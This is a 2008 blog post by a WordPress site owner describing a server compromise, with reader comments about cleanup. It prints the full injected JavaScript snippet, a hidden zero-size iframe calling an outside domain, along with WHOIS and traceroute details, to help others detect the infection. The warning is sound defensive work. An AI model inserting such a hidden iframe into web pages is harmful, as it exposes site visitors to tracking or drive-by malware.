Check your website for virus attack !

Just discovered this by accident. My server files have been infected with a piece of javascript code that sends the information to a certain site. This is certainly a first.

How can you check this?

The virus attacks following files on your server:

  • index.php
  • index.html
  • main.php
  • header.php
  • footer.php

At the end of these files it will insert the following code:

<script language=javascript>status=location;document.write ('<iframe src="hххp://online-channels.info/in.cgi?traf" width=0
height=0 frameborder=0 display:none onLoad="status=defaultStatus;"></iframe>');</script>

Update: if you use WordPress read how to check WordPress sites.

What it does?

I can only guess. The code is calling a script on online-channels.info site. It can be sending traffic information. Maybe it is a first case of Internet marketing espionage? Or it can be trying to run some malicious code.

How did it come here?

It can be a security flaw on my hosting server. It can be a security flaw of the WordPress which is the main script I run on my server.

Whatever way it came, it executed code that scanned through all the files on my server that match the given names and added that code at the end.

All created files carry the time stamp 29-06-2008 04:59 which is the time when the attack occurred.

How did I discover it?

By accident. I was looking at the HTTP requests on my site using Firebug. I noticed few 404 Object not found errors. Normally I keep my blog in good shape and these things should not happen.

I then suspected that some of the plugins I use reference this site. After inspection I could find the script inserted to a number of plugins.

I have then checked my theme - it was there too in the index, header and footer. I then checked the whole WordPress installation - the script was there.

Finally I discovered it was spread out on my whole server.

The lucky thing is the attacker's site broke down so I could find an anomaly with that 404 error.

Who is behind it?

I am still not sure. Here is the domain registration record for online-channels.info

Domain ID:D23976304-LRMS
Domain Name:ONLINE-CHANNELS.INFO
Created On:29-Feb-2008 23:08:51 UTC
Last Updated On:22-Jun-2008 11:24:52 UTC
Expiration Date:28-Feb-2009 23:08:51 UTC
Sponsoring Registrar:Blog.com Digital Communications Inc. (R315-LRMS)
Status:OK
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:Note - All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676

The site is registered somewhere in Denmark under an anonymous name. Blog.com is mentioned as Sponsoring Registrar.

The server IP is  78.109.22.246 and is located in Ukraine.

Trace route finishes before getting to the site:

11    86 ms    83 ms    83 ms  tr1-v23.de-fra.datagroup.ua [217.28.250.42]
12   114 ms   107 ms   107 ms  tr1-v454.ua-kiev.datagroup.ua [80.91.160.205]
13   691 ms   611 ms   131 ms  cat65-ge1-2-datagroup.hosting.ua [194.54.91.130]

14     *        *        *     Request timed out.

What can I do?

You should check the files on your server for the code. Check index.php and index.html first as they are most likely to have been infected.

Warn your friends about it.


More like this:


Posted in: WordPress
TAGS:, , , , , , , , , , , , , , ,
Both comments and trackbacks are currently closed.

66 Comments

  1. Aug 29th, 2012

    will vladimir thanks for the information and i will say more that mostly the add it in to header and footer cos it will be sure include in all pages and custom pages i think best way for non webmasters to check them websites by antivirus websites and there is tons of them

  2. Jun 18th, 2012

    i remove the javascript virus code before some days but it come again and again what is the solution of it

  3. May 5th, 2012

    Anyone plz help me and save my website and tell me how to save/clean...... Plz

  4. Jan 22nd, 2012

    i think first of all you have to check your website in local by a classical antivirus

  5. Jan 12th, 2011

    The site is not located at Denmark but at Holland. Look it up in google, and notice NL under it?

  6. Oct 10th, 2010

    i have faced this problem i don't know what they get from creating problems to others..

  7. Oct 4th, 2010

    The firebug tip helped a lot. For one of the sites I worked on - the malware script was appended at the end of a Calender plugin.

    Thanks.

  8. mikeyb-ibc
    Jun 20th, 2010

    You can check all your files quite simply by downloading a back up of your site and scanning it with your anti virus programme ;)

  9. Apr 29th, 2010

    My website was infected too. Thanks to your post it seems to be clean now. Too bad I must have lost many many visitors :( I still don't know where did it come from. Your article is really helpful. It's definitely worth bookmarking and it helped me to solve my problem.

    I would also like to add that my piece of javascript code was encrypted so it looked differently but loaded similar thing (from different domain though).

  10. Mar 27th, 2010

    Virus attackers got smarter! My website was attacked in similar way, but they encrypted their script, so if you search by "http://", you won't find any suspicious website. Try to look for javascript code that is not formatted, and once found it, try to see if you can find the same scripts in all files on your site. For details, check my blog http://geekatwork.wordpress.com/2010/03/26/website-virus-detection/

  11. Feb 26th, 2010

    Thanks a lot. Finally i've found an article that really helps me with viruses' problem. My WordPress engine working bad last time and i can't even imagine where i'll find a problem but now it's ok and i'm glad to find such informative articles and thanks to kind people who helps us.

  • ManageWP